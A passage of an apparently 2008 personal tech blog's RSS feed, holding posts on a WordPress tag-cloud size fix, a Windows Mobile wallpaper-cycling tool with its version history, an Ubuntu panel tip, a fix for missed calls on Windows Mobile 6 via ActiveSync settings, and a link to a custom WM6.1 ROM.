&lt;p&gt;Now, not taking anything away from the author, who has done a wonderful job with the theme, I took it upon myself to fix it, and the solution turned out to be really simple.&lt;/p&gt;
&lt;p&gt;The first thing I noticed was the &amp;ldquo;tag cloud&amp;rdquo;. Since many of my posts are tagged &amp;ldquo;Windows Mobile&amp;rdquo;, this particular tag had become pretty big, so much so that it was being cut off by the left sidebar boundary. But when I viewed the site in IE, it showed the full tag, but the last 2 letters were jutting out of the left sidebar. which caused the middle area to shift towards right ever so slightly, nudging the right sidebar towards the bottom in the process.&lt;/p&gt;
&lt;p&gt;Hmm, this was the reason that many people never see this problem because they may have a particularly balanced blog (or with shorter tags) where one particular tag does not go out of the boundaries.&lt;/p&gt;
&lt;p&gt;The solution as anyone can guess now is to keep that tag within its range. Now, I call my solution as a hack or a workaround because ideally, we should be able to create a method to make the tag &amp;ldquo;word wrap&amp;rdquo; inside the edges. But since I was unable to get this done, I chose a simpler way. Make the tag small enough so that it fits!&lt;/p&gt;
&lt;p&gt;To do this, go to your sidebar.php (in your i3theme folder) and look for the tag cloud widget. You will find a line similar to this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wp_tag_cloud&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;smallest=8&amp;amp;largest=22&amp;amp;unit=pt&amp;amp;number=45&amp;amp;format=flat&amp;amp;orderby=name&amp;amp;order=ASC&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the value of &amp;ldquo;largest&amp;rdquo; from 22 to something smaller, say 16. This will ensure that even if a tag becomes very popular, it won&amp;rsquo;t get too big to cause this problem.&lt;/p&gt;
&lt;p&gt;Let me know if this worked for you.&lt;/p&gt;</content></item><item><title>Project: ShantzTodayChanger (Windows Mobile Tool To Cycle Themes/Wallpapers Automatically)</title><link>https://shantanugoel.com/2008/02/03/project-shantztodaychanger-windows-mobile-tool-to-cycle-themeswallpapers-automatically/</link><pubDate>Sun, 03 Feb 2008 19:45:07 +0000</pubDate><guid>https://shantanugoel.com/2008/02/03/project-shantztodaychanger-windows-mobile-tool-to-cycle-themeswallpapers-automatically/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ShantzTodayChanger.jpg" alt="ShantzTodayChanger Config Screenshot"&gt;&lt;/p&gt;
&lt;p&gt;The newly launched [&amp;ldquo;Projects&amp;rdquo;] section is hereby inaugarated with a Windows Mobile Tool developed by me, called “[ShantzTodayChanger]”. This is a little tool for your Windows Mobile based phones (Compatible with WM5/WM6 but not WM2003) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options that you can discover by reading the text below. And you can even use this options to achieve something other than changing wallpapers as well but that depends on your imagination. !&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ShantzTodayChanger.jpg" alt="ShantzTodayChanger Config Screenshot"&gt;&lt;/p&gt;
&lt;p&gt;The newly launched [&amp;ldquo;Projects&amp;rdquo;] section is hereby inaugarated with a Windows Mobile Tool developed by me, called “[ShantzTodayChanger]”. This is a little tool for your Windows Mobile based phones (Compatible with WM5/WM6 but not WM2003) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options that you can discover by reading the text below. And you can even use this options to achieve something other than changing wallpapers as well but that depends on your imagination. !&lt;/p&gt;</content></item><item><title>Site Updates: More Content For You</title><link>https://shantanugoel.com/2008/02/03/site-updates-more-content-for-you/</link><pubDate>Sun, 03 Feb 2008 19:36:42 +0000</pubDate><guid>https://shantanugoel.com/2008/02/03/site-updates-more-content-for-you/</guid><description>&lt;p&gt;I&amp;rsquo;ve added a few new sections to the blog. Do check them out. Here is a list of the new sections along with their descriptions.&lt;/p&gt;
&lt;p&gt;[Projects]: Although I wouldn&amp;rsquo;t put myself in the category of an excellent developer but I can sure type in a few lines that can compile without an error and also manage to carry out a task or two. So, this page will list some of those little things that I write to weed out a few niggles or scratch a few itches of mine.&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;ve added a few new sections to the blog. Do check them out. Here is a list of the new sections along with their descriptions.&lt;/p&gt;
&lt;p&gt;[Projects]: Although I wouldn&amp;rsquo;t put myself in the category of an excellent developer but I can sure type in a few lines that can compile without an error and also manage to carry out a task or two. So, this page will list some of those little things that I write to weed out a few niggles or scratch a few itches of mine.&lt;/p&gt;
&lt;p&gt;[Downloads]: This page will contain the various downloads that this blog offers for a convenient access.&lt;/p&gt;
&lt;p&gt;[Submit News/Articles]: Like this blog? Have something to contribute? News/Views/Articles/Links that you would like us to share with the rest of the world, can be submitted using the form on this page. Due credit shall be given to you. Also, check the box at the end of the form, if you would like to be a part of the blog as a regular contributor.&lt;/p&gt;</content></item><item><title>ShantzTodayChanger</title><link>https://shantanugoel.com/2008/02/03/shantztodaychanger/</link><pubDate>Sun, 03 Feb 2008 13:41:30 +0000</pubDate><guid>https://shantanugoel.com/2008/02/03/shantztodaychanger/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ShantzTodayChanger.jpg" alt="ShantzTodayChanger Config Screenshot"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Intro:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a little tool for your Windows Mobile based phones (Compatible with WM5/WM6 but not WM2003) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options that you can discover by reading the text below. And you can even use this options to achieve something other than changing wallpapers as well but that depends on your imagination. ;)&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ShantzTodayChanger.jpg" alt="ShantzTodayChanger Config Screenshot"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Intro:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a little tool for your Windows Mobile based phones (Compatible with WM5/WM6 but not WM2003) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options that you can discover by reading the text below. And you can even use this options to achieve something other than changing wallpapers as well but that depends on your imagination. ;)&lt;/p&gt;
&lt;p&gt;**UPDATE: **I&amp;rsquo;ve released the source code of ShantzTodayChanger since I&amp;rsquo;m not getting much time to work on it. You may download the code from the attached zip file above. I’ll still be available for questions, discussions, explanations etc about it if needed.&lt;/p&gt;
&lt;p&gt;You are free to copy, modify and redistribute it. Only thing that I ask of you are that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You retain all credits for me and my website in the source code, final product, and other material (readme etc) intact.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Also, please provide a linkback to the original home page of shantztodaychanger if you redistribute it through some other site, otherwise I’ll be happy to host your modified versions here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You also have to release the modified source code in its entirety.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**Usage: **&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a folder on ur device (preferably not on storage card.) and extract all the files (mainly ShantzTodayChanger.exe, TdyChangerCfg.exe, gsgetfile.dll (might not be visible to u depending on ur explorer settings) and Readme.htm) to this folder.&lt;/li&gt;
&lt;li&gt;IMP: Do not rename any files.&lt;/li&gt;
&lt;li&gt;Run the TdyChangerCfg.exe.&lt;/li&gt;
&lt;li&gt;Set options through the dialog that opens and press apply button (Pressing the native WM OK button will discard all your changes)&lt;/li&gt;
&lt;li&gt;Options:
i)Choose image type (.gif.jpg.png) or theme(.tsk) to be cycled.
ii)If the input files (images or themes) are not in the folder where exes are kept, then you can check the box (underneath the .gif option) and give the &amp;ldquo;FULL and ABSOLUTE&amp;rdquo; path of where the files are kept. You can either input the path thru keyboard or choose it graphically by pressing the button (&amp;hellip;) next to it.
iii)If you want to run a file after every cycle interval, check the corresponding box and provide the &amp;ldquo;FULL and ABSOLUTE&amp;rdquo; path of the file to be run. You can either input the path thru keyboard or choose it graphically by pressing the button (&amp;hellip;) next to it.
iv) If you want some files to be avoided during cycling, put a file mask. The program will look for this mask to appear anywhere in the name of the files and will avoid it if found. (Wildcards are not supported. Choose time option has to be checked for this to work)
v) Choose the period for which mask option has to be used. If you choose a time period and leave mask as empty, then during that time no cycling will be done. If you want to avoid some files all the time, then time period should be chosen to cover all 24 hrs of the day.
vi)enter the desired interval between cycling of images\themes.
vii)If you choose a period for the mask, another check box (Consider mask period for exe also) will be enabled. Checking this box will mean that the specified exe will be run only if an image\theme is changed during that cycle. If you dont check this, then exe will be run after every cycle even if there is no change in the image\theme.&lt;/li&gt;
&lt;li&gt;When you want to stop the cycling, press &amp;ldquo;STOP Cycling&amp;rdquo; button.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;**Additional Notes: **&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The GUI for configuration has not been optimized for square screen devices, so you need to make some guesswork and use hardware keyboard for input but the changer program itself will run fine.&lt;/li&gt;
&lt;li&gt;Doesnt have to be running constantly. So saves resources when not active.&lt;/li&gt;
&lt;li&gt;Survives soft resets as well.&lt;/li&gt;
&lt;li&gt;Even takes care of the situation if your phone is off when the time to cycle is reached. Will cycle as soon as ur phone comes back on in this situation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;**Planned Updates: **
i) Suggestions invited. I have a lot of updates in mind but will incorporate those only which are requested by you.&lt;/p&gt;
&lt;p&gt;**Known Issues: **
i) If the mask option is selected, then in a very particular situation, the app will miss a cycle.
This can be taken care of but not in my priority list because this can be fixed only by rewriting the complete cycling code which is quite a bit. So, will fix it if I get some time from my other projects.
ii) If after maknig the configuration, you see the screen flash for a second at the right times, but the backfround doesn&amp;rsquo;t change, then do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to : Settings&amp;hellip;today&amp;hellip;.appearance&lt;/li&gt;
&lt;li&gt;un-check &amp;ldquo;Use this picture as background&amp;rdquo;&lt;/li&gt;
&lt;li&gt;start the program using &amp;ldquo;startTodayChanger.lnk&amp;rdquo; or TdyChangerCfg (Apply button)
(Thnx to CWKJ for reporting this bug and fix, and to eric for reminding me about it)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**End Note: **
Like every software, this one is also bound to have bugs, please report it asap.
Though ShantzTodayChanger does not run continuously but sometimes some apps that close all processes automatically (like SPB backup) might clash in schedule with ShantzTodayChanger and close it when it starts to run. In such a case (which is quite unlikely), the app might not be able to set a notification for next cycle, so if u face this situation, then run the config again.&lt;/p&gt;
&lt;p&gt;**Version History: **&lt;/p&gt;
&lt;p&gt;1.53 - 23-March-08 -&amp;gt; RECOMMENDED UPDATE
i)Theme Color Detection has been improved a lot. Should work much more accurately now.&lt;/p&gt;
&lt;p&gt;1.52 - 11-Aug-07 -&amp;gt;
i) Fixed another bug for the &amp;ldquo;time period&amp;rdquo; option.
ii) Made a little optimization in the code.&lt;/p&gt;
&lt;p&gt;1.51 - 05-Aug-07 -&amp;gt;
i) Fixed a bug which prevented the &amp;ldquo;time period&amp;rdquo; option from working properly.
ii) Fixed a bug where wallpapers might not change if certain particular themes were installed before change cycle happens
iii) Fixed a bug where the time period option was not remembered properly by the GUI.
iv) Added option to allow user to choose whether to run the user specified file (exe\lnk) after every cycle interval only if there was a change in image\theme during that cycle.
v) Made a few small changes to the GUI to prevent users from making incorrect settings.&lt;/p&gt;
&lt;p&gt;1.50 - 29-July-07 -&amp;gt;MAJOR UPDATE
i) Added option to specify a mask to avoid files having that mask
ii) Added option to specify the time period during which the mask has to be considered
iii) Added code to ensure that if mask is empty and a period is chosen, then no rotation is done during that period.
iv) Added option to run a user specified file after every cycle interval.
v) Fixed bug where the jpg and png options were not working earlier.
vi) Clicking help button now opens help in Pocket Internet Explorer.
vii) Fixed many more subtle bugs that manifest themselves and very peculiar situations.
viii) Optimized the code a bit at a few places.
ix) Also see &amp;ldquo;Known Issues&amp;rdquo; section above.
x) Removed the &amp;ldquo;append to previous info&amp;rdquo; box as now the app remembers old info correctly.&lt;/p&gt;
&lt;p&gt;1.33 - 18-July-07 -&amp;gt;
i)Added code to select the input path graphically. It is a bit of workaround though. To select an input folder, just select any file inside it in the select folder dialog.
ii)TdyChgrCfg now shows you the previous settings.&lt;/p&gt;
&lt;p&gt;1.32 - 21-Jun-07 -&amp;gt;
i) Fixed a bug where sometimes on cycling themes, colors change but images do not change.
ii) Added a measure to avoid running multiple instances (just as a precaution)
iii)Added code to avoid losing notifications if phone is reset too early after running the program&lt;/p&gt;
&lt;p&gt;1.31 - 20-Jun-07 -&amp;gt;Fixed 2 bugs:
i) A notification bug where old notification is not deleted
ii) A bug where cycle interval value is not correctly read from the GUI&lt;/p&gt;
&lt;p&gt;1.3 - 19-Jun-07 -&amp;gt;
i)Added option to make partial changes to previously entered information.
ii)Fine-Tuned the Theme Color support algo. Now, theme colors should be almost 95% same as calculated by windows mobile while applying theme.
iii)Did some code optimization&lt;/p&gt;
&lt;p&gt;1.2 - 19-Jun-07 -&amp;gt;Major Update:
i)Added Theme Support. Changing of system colors as per theme is also supported (which is not done by any other program IIRC)
ii)Added option to keep input images\themes in a separate folder
iii)Provided a GUI Configuration module
iv)Provided option to choose between gif\jpg\png\tsk to be cycled.&lt;/p&gt;
&lt;p&gt;1.11 - 12-Jun-07-&amp;gt;Fixed another bug with notification queue&lt;/p&gt;
&lt;p&gt;1.1 - 12-Jun-07 -&amp;gt; Fixed the bug that causes WM5/WM6 devices not to cycle wallpapers in certain conditions&lt;/p&gt;
&lt;p&gt;1.0 - 10-Jun-07 -&amp;gt; Initial Release&lt;/p&gt;
&lt;p&gt;Credits:
daxliniere/wacky.banana -&amp;gt; For asking to make the tool and their inputs
SeanFromSoCal/200mpx -&amp;gt; For their inputs&lt;/p&gt;</content></item><item><title>Ubuntu Nuggets: Window list settings in panel</title><link>https://shantanugoel.com/2008/02/01/ubuntu-nuggets-window-list-settings-in-panel/</link><pubDate>Fri, 01 Feb 2008 19:06:13 +0000</pubDate><guid>https://shantanugoel.com/2008/02/01/ubuntu-nuggets-window-list-settings-in-panel/</guid><description>&lt;p&gt;I am pretty sure that all of you must be fed of that one windows taking up the whole task bar in the panel. Like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/titlebar1.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/titlebar1_thumb.jpg" alt="Titlebar1"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Well, you can change that. Plus, all you windows-to-linux converts must also be thinking of how to squeeze in a few more windows into the task bar. A &amp;ldquo;grouping of similar windows&amp;rdquo; option like windows would have been just nice. Well, that can be done too, and without any shell scripting, config file modifying, etc. It&amp;rsquo;s all in the GUI for a change &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;&lt;/p&gt;</description><content>&lt;p&gt;I am pretty sure that all of you must be fed of that one windows taking up the whole task bar in the panel. Like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/titlebar1.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/titlebar1_thumb.jpg" alt="Titlebar1"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Well, you can change that. Plus, all you windows-to-linux converts must also be thinking of how to squeeze in a few more windows into the task bar. A &amp;ldquo;grouping of similar windows&amp;rdquo; option like windows would have been just nice. Well, that can be done too, and without any shell scripting, config file modifying, etc. It&amp;rsquo;s all in the GUI for a change &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;&lt;/p&gt;
&lt;p&gt;All you need to do is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Right click on the window list area, as shown by the red ellipse mark in the figure and click on &amp;ldquo;preferences&amp;rdquo;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/titlebar2.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/titlebar2_thumb.jpg" alt="Titlebar2"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;You will get a window as shown below. Now, in the options marked by the black ellipse, you can choose the grouping option for the windows that you open to get more space and a windows like effect.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/window_list_pref1.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/window_list_pref1_thumb.jpg" alt="Window_list_pref1"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;If you click on the &amp;ldquo;size&amp;rdquo; tab, you can modify the &amp;ldquo;maximum&amp;rdquo; width value to control how much space any window title can take on the title bar. You can also specify the minimum width if you wish to.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/window_list_pref2.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/window_list_pref2_thumb.jpg" alt="Window_list_pref2"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;Click Close and you are done. Now, wasn&amp;rsquo;t that easy. Here is a screenshot of how that window title we saw in the first pic looks after this change.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/titlebar.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/titlebar_thumb.jpg" alt="Titlebar"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Windows Mobile 6 - Case of the Missing Calls: Solved</title><link>https://shantanugoel.com/2008/01/31/windows-mobile-6-case-of-the-missing-calls-solved/</link><pubDate>Thu, 31 Jan 2008 18:30:33 +0000</pubDate><guid>https://shantanugoel.com/2008/01/31/windows-mobile-6-case-of-the-missing-calls-solved/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/sherlock_small.jpg" alt="Sherlock"&gt;&lt;/p&gt;
&lt;p&gt;As the pic above says, it turned out to be quite elementary in the end. But what is &amp;ldquo;it&amp;rdquo; actually?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt; Since the beginning of time (read launching of WM6), millions of WM users (ok ok, will not exaggerate from now on) have been facing a very peculiar issue. The issue is that people tell them all the time that they are avoiding those people, and not taking their calls. But as the perplexed WM&amp;rsquo;er flips through his calls log, he can&amp;rsquo;t find any sign of a missed call. Yes, the issue is that many times, the phone will go into a state where the caller will hear the ring go, there will be no sign on your phone of the same, not even a missed call. People all around the world have been after the solution with all their might, suggesting:&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/sherlock_small.jpg" alt="Sherlock"&gt;&lt;/p&gt;
&lt;p&gt;As the pic above says, it turned out to be quite elementary in the end. But what is &amp;ldquo;it&amp;rdquo; actually?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt; Since the beginning of time (read launching of WM6), millions of WM users (ok ok, will not exaggerate from now on) have been facing a very peculiar issue. The issue is that people tell them all the time that they are avoiding those people, and not taking their calls. But as the perplexed WM&amp;rsquo;er flips through his calls log, he can&amp;rsquo;t find any sign of a missed call. Yes, the issue is that many times, the phone will go into a state where the caller will hear the ring go, there will be no sign on your phone of the same, not even a missed call. People all around the world have been after the solution with all their might, suggesting:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;To change over to Radio Rom x.xx.xx and swear it solved all their issues but we have had equal number of people in both camps (fixed and non-fixed) for every radio rom.&lt;/li&gt;
&lt;li&gt;Various kinds of flashing techniques and orders but no concrete solution here either.&lt;/li&gt;
&lt;li&gt;Standing on their heads and chanting &amp;ldquo;OM&amp;rdquo; for 10000 years (I&amp;rsquo;m at it again :))&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Anyways, the long and short of it is, they didn&amp;rsquo;t get anywhere. But worry no more, the messiah is here to save you all from social embarrassment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What To Expect:&lt;/strong&gt; This will fix the missing call issue, plus on the phones I tested, the following issues were also fixed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Signal strength meter remains stuck at whatever the strength was when the phone was booted.&lt;/li&gt;
&lt;li&gt;The phone LCD turns on for no reason sometime.&lt;/li&gt;
&lt;li&gt;I personally found the signal quality to be better. Previously I wasn&amp;rsquo;t able to take/make any calls in my office cubicle but now I can.&lt;/li&gt;
&lt;li&gt;A solution so simple, obvious and the fact that you already know it. :)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Disclaimer:&lt;/strong&gt; Though I&amp;rsquo;ve promised you almost everything (except the kitchen sink), and I&amp;rsquo;m pretty sure that this should work for you (as I&amp;rsquo;ve tested this on three different HTC wizards, running different variations of WM6 ROMS), but still YMMV. (Just to save my skin from a disgruntled user who didn&amp;rsquo;t get it fixed and turned into a blood sucking psychopath, or even worse, a lawsuit-happy Jeff Thomson).&lt;/p&gt;
&lt;p&gt;Another thing to be noted is that if you use ActiveSync to sync with an exchange server, you&amp;rsquo;d probably not be able to solve your problems. Read on to find about it [Thnx to Alex, vboyz103 for reminding me to put it here]&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Reasoning:&lt;/strong&gt; Let me take you through my journey of discovering the solution to the problem. There are a lot of events that happened, many things I saw that led me to the solution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once I saw my phone light up for no reason and then after a few seconds I received a call on my landline saying I was not picking up my phone. I then tried calling up my phone again and again, every time I didn&amp;rsquo;t get any notification on my phone &amp;ldquo;except&amp;rdquo; a momentary flash up.&lt;/li&gt;
&lt;li&gt;Another day I was tapping away at my keyboard, with my phone nearby. Then suddenly again there was a flash up, no call notification, BUT my speakers started humming, for a long time, i.e., as if in a call and not due to those momentary SDCCH transmissions. This meant that the radio ROM was indeed receiving the call, but somehow it could not notify the OS to tell me. &lt;em&gt;Something was breaking the notification mechanism.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;All times this happened, and I came to know, I checked to know what all tasks were running and somehow Active Sync was always there.&lt;/li&gt;
&lt;li&gt;I tried killing active sync and then calling. Active Sync would be there again. But if I kill it and dont call, then it won&amp;rsquo;t be there. &lt;em&gt;Hmmm..&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;I had heard that switching off and flight mode solves this issue temporarily. I tried it. Flight mode could be switched on but was not able to switch off. That is my phone didn&amp;rsquo;t come back, &lt;strong&gt;until&lt;/strong&gt; I tried killing active sync and voila, phone could be turned on again.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Solution:&lt;/strong&gt; Now, I was pretty sure that it had something to do with Active Sync. Another thing was I never had the missing calls issue, until this december when I switched to a new ROM. Was the new ROM bad? Couldn&amp;rsquo;t be because people had reported issues on earlier ROMs as well which I had used but never faced the problem. Then it suddenly dawned on me in zen-like-fashion. The legendary &amp;ldquo;&lt;strong&gt;Fake Server Trick&lt;/strong&gt;&amp;rdquo;. In all my flashes, it was part of my initial rituals to do (along with the customary sacrificial goat) this but this time I had forgotten to. I immediately did it and when I reached the Active Sync schedule settings it was selected to &amp;ldquo;&lt;strong&gt;As Items Arrive&lt;/strong&gt;&amp;rdquo;. Voila! I did the trick at a time when I was missing calls and immediately saw the results. Called from another phone and I got a ring! Somehow, it was eating up the notifications thinking they are some &amp;ldquo;items&amp;rdquo; meant for it. Since then, I tried it out on two more phones of friends with different WM6 ROMs and they havent seen the problem ever since, plus they got all the other benefits too as listed in &amp;ldquo;What to Expect&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Trick:&lt;/strong&gt; Most of you who came here must be knowing the fake server trick, but if you don&amp;rsquo;t, then here it is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Turn on your Device&lt;/li&gt;
&lt;li&gt;Go to Start &amp;gt; Programs &amp;gt; Activesync.&lt;/li&gt;
&lt;li&gt;Tap Menu at the bottom right hand corner of the screen.&lt;/li&gt;
&lt;li&gt;Tap on Add Server Source.&lt;/li&gt;
&lt;li&gt;Enter anything in all the boxes. Don&amp;rsquo;t need to go to any advanced options, etc. e.g. you can add &amp;ldquo;fake&amp;rdquo; in all options&lt;/li&gt;
&lt;li&gt;Go back into the Menu, and tap &amp;ldquo;Schedule&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Change both the Peak times and Off-peak times boxes to Manually.&lt;/li&gt;
&lt;li&gt;Press the OK button at top-right.&lt;/li&gt;
&lt;li&gt;You are done.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you face any sync errors after doing this trick, then delete the config you just made for exchange and then try. Basically once you have done the schedule setting, you don&amp;rsquo;t require the exchange config anymore.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Epilogue:&lt;/strong&gt; Now, this has been working for me and my friends for the past few days. I deliberately delayed this post to be exactly sure. You are welcome to give me a simple thanks if it works for you. BUT if it doesn&amp;rsquo;t then also please let me know, may be we can debug it together.&lt;/p&gt;</content></item><item><title>WM6.1 Is Here, Loves HTC Wizard...(Really?)</title><link>https://shantanugoel.com/2008/01/31/wm61-is-here-loves-htc-wizardreally/</link><pubDate>Thu, 31 Jan 2008 05:54:42 +0000</pubDate><guid>https://shantanugoel.com/2008/01/31/wm61-is-here-loves-htc-wizardreally/</guid><description>&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/Screen002.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screen002_thumb.jpg" alt="Screen002"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/Screen003.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screen003_thumb.jpg" alt="Screen003"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A user going by the remarkably simple handle &amp;ldquo;email123&amp;rdquo; announced on the &lt;a href="http://xda-developers.com/"&gt;xda-developers &lt;/a&gt;forum, that WM6.1 is here, alive and kicking. But he doesn&amp;rsquo;t stop there, he says that its available &amp;ldquo;now&amp;rdquo;, that too for an HTC wizard, a 3 year old phone (which I own as well). Thats not all, he goes on to provide the proof by linking in his cooked ROM for all to download. But, here is the clincher, he claims that finally &amp;ldquo;&lt;strong&gt;&lt;a href="http://www.google.co.in/search?hl=en&amp;amp;q=htc+big+storage+hack&amp;amp;btnG=Google+Search&amp;amp;meta="&gt;Big Storage&lt;/a&gt;&lt;/strong&gt;&amp;rdquo; is available for wizard, a feat noone has been able to achieve in the last 3 years. It means that an extra 10 MB is available to you as Device Memory. It seems to get better and better for our dear old wizard. After all, old is gold.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/Screen002.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screen002_thumb.jpg" alt="Screen002"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/Screen003.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/Screen003_thumb.jpg" alt="Screen003"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A user going by the remarkably simple handle &amp;ldquo;email123&amp;rdquo; announced on the &lt;a href="http://xda-developers.com/"&gt;xda-developers &lt;/a&gt;forum, that WM6.1 is here, alive and kicking. But he doesn&amp;rsquo;t stop there, he says that its available &amp;ldquo;now&amp;rdquo;, that too for an HTC wizard, a 3 year old phone (which I own as well). Thats not all, he goes on to provide the proof by linking in his cooked ROM for all to download. But, here is the clincher, he claims that finally &amp;ldquo;&lt;strong&gt;&lt;a href="http://www.google.co.in/search?hl=en&amp;amp;q=htc+big+storage+hack&amp;amp;btnG=Google+Search&amp;amp;meta="&gt;Big Storage&lt;/a&gt;&lt;/strong&gt;&amp;rdquo; is available for wizard, a feat noone has been able to achieve in the last 3 years. It means that an extra 10 MB is available to you as Device Memory. It seems to get better and better for our dear old wizard. After all, old is gold.&lt;/p&gt;
&lt;p&gt;Click &lt;a href="http://forum.xda-developers.com/showthread.php?t=364066"&gt;here&lt;/a&gt; to go to the thread, the link is in the first post. And do not forget to let us know if you did try out that ROM.&lt;/p&gt;</content></item><item><title>All Your Base Are Belong To Us - Says Dell</title><link>https://shantanugoel.com/2008/01/30/all-your-base-are-belong-to-us-says-dell/</link><pubDate>Wed, 30 Jan 2008 18:27:55 +0000</pubDate><guid>https://shantanugoel.com/2008/01/30/all-your-base-are-belong-to-us-says-dell/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/dell_8800.jpg" alt="Dell_8800"&gt;&lt;/p&gt;
